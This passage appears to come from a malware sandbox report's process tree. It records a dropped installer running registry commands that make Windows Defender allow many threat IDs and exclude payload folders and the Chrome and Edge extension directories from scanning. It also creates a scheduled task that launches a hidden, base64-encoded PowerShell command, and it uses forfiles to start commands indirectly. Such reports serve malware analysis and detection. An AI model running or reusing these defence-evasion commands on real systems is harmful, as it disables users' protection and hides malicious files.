\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                    PID:5832
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:2544
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:836
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:6044
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5620
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:5940
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5664
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:724
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:5868
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:5448
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5124
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:6116
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:6104
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5880
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5492
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:4232
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:5756
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1844
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:2704
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:5136
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:5452
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:5768
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:6068
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:6084
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:5528
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:4824
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:2520
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:4148
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:2596
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:1640
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                              PID:5368
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:4912
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:1828
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:3788
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:3228
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:836
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:2544
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:5248
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:5620
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:3740
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:5152
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:5340
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:5484
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:5128
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:5592
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:5460
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:5556
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:5660
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:4428
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:5672
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:1536
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:2704
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "gqQJJNttc" /SC once /ST 05:25:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                        PID:5548
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /run /I /tn "gqQJJNttc"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:4492
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3472 -ip 3472
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:5488
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS98B.tmp\Install.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS98B.tmp\Install.exe Wt /zHadidhNli 385118 /S
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                          PID:5656
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:3556
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:5768
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
